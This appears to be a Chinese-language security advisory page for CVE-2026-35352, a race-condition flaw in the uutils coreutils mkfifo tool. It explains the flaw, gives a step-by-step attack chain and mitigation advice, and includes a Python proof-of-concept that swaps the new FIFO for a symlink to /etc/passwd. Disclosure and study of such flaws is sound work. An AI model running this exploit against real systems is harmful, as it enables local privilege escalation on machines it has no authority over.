IPBUF安全漏洞报告
English
CVE-2026-35352 CVSS 7.0 高危

CVE-2026-35352 uutils coreutils mkfifo 竞态条件漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-35352
漏洞类型
TOCTOU 竞态条件、权限提升
CVSS评分
7.0 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
uutils coreutils

相关标签

TOCTOURace ConditionPrivilege Escalationuutils coreutilsLocalmkfifoSymbolic Link

漏洞概述

uutils coreutils 项目中的 mkfifo 实用程序存在严重的 Time-of-Check to Time-of-Use (TOCTOU) 竞态条件漏洞。该工具在创建命名管道(FIFO)后,会执行基于路径的 chmod 操作以设定权限。在创建文件与修改权限的时间窗口内,拥有父目录写入权限的本地攻击者可将新创建的 FIFO 替换为指向任意文件的符号链接。这导致 chmod 调用被重定向,修改非预期文件的权限。如果 mkfifo 以高权限运行,攻击者可借此修改系统关键文件权限,从而实现本地权限提升。

技术细节

该漏洞属于典型的 TOCTOU(Time-of-Check Time-of-Use)竞态漏洞。在 uutils coreutils 的实现中,程序逻辑首先调用系统函数创建 FIFO 节点,随后紧接着调用 chmod 函数通过文件路径来修改该节点的权限。这种“先创建后修改权限”的分离操作在并发环境下存在时间差。攻击者利用这个时间差,在父目录具有写权限的前提下,通过并发脚本监控目录变化。一旦检测到 mkfifo 创建了文件,攻击者立即将其删除并替换为一个指向目标文件(如 /etc/passwd 或 /etc/sudoers)的软链接。由于 mkfifo 后续的 chmod 操作使用的是之前缓存的路径字符串,操作系统会将权限修改操作应用到软链接指向的目标文件上。如果 mkfifo 是由 root 用户执行的,攻击者就能将任意文件的权限修改为可写,进而获取系统最高权限。

攻击链分析

STEP 1
侦察
攻击者确认系统使用存在漏洞的 uutils coreutils 版本,且 mkfifo 命令经常以高权限(如 root)运行。
STEP 2
环境准备
攻击者获取 mkfifo 运行目录的写入权限,准备符号链接指向的目标文件(如 /etc/passwd)。
STEP 3
竞态攻击
当高权限进程执行 mkfifo 时,攻击者并发运行脚本,监控 FIFO 文件的创建。
STEP 4
文件置换
在 mkfifo 创建文件但尚未执行 chmod 的极短时间窗口内,攻击者删除 FIFO 并创建指向目标文件的符号链接。
STEP 5
权限提升
系统继续执行 chmod 操作,由于路径解析问题,权限变更应用到目标文件上,攻击者获得该文件的写入权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-35352: TOCTOU Race Condition in uutils coreutils mkfifo This script attempts to exploit the race condition between mkfifo creation and chmod. """ import os import time import sys # Configuration FIFO_NAME = "vuln_fifo" TARGET_FILE = "/etc/passwd" # Target file to modify permissions WORK_DIR = "/tmp/cve_2026_35352_poc" def setup(): """Create the working directory""" if not os.path.exists(WORK_DIR): os.makedirs(WORK_DIR) os.chdir(WORK_DIR) print(f"[*] Working in {WORK_DIR}") def exploit(): """ Simulates the race condition. Note: In a real scenario, this must be run concurrently with the vulnerable mkfifo process. The goal is to swap the FIFO with a symlink before chmod is called. """ print("[*] Starting race condition loop...") print("[*] Waiting for the vulnerable process (mkfifo) to create the FIFO...") attempts = 0 while attempts < 10000: try: # Check if FIFO exists and is not a symlink (the window of opportunity) if os.path.exists(FIFO_NAME) and not os.path.islink(FIFO_NAME): # Attempt to swap the file with a symlink to a privileged file os.remove(FIFO_NAME) os.symlink(TARGET_FILE, FIFO_NAME) print(f"[+] Attempt {attempts}: Swapped {FIFO_NAME} with symlink to {TARGET_FILE}") # Verify if the exploit was successful (check if target is writable) # This assumes the chmod 777 (or similar) happened on the target if os.access(TARGET_FILE, os.W_OK): print(f"[+] SUCCESS! {TARGET_FILE} is now writable.") return True # If it's already a symlink, reset it to allow the race to continue (simulation) elif os.path.islink(FIFO_NAME): os.remove(FIFO_NAME) except FileNotFoundError: pass except Exception as e: print(f"[-] Error: {e}") attempts += 1 time.sleep(0.0001) # Short sleep to reduce CPU usage print("[-] Failed to win race condition within the limit.") return False if __name__ == "__main__": if os.geteuid() != 0: print("[!] Warning: This exploit usually requires the victim process to run as root.") setup() exploit()

影响范围

uutils coreutils (修复前的版本)

防御指南

临时缓解措施
临时缓解措施包括严格限制父目录的写入权限,确保只有受信任的用户才能在 mkfifo 执行的目录中创建或修改文件。此外,应审查系统以确认 mkfifo 是否被以提升的权限调用,并尽可能修改脚本以降权执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表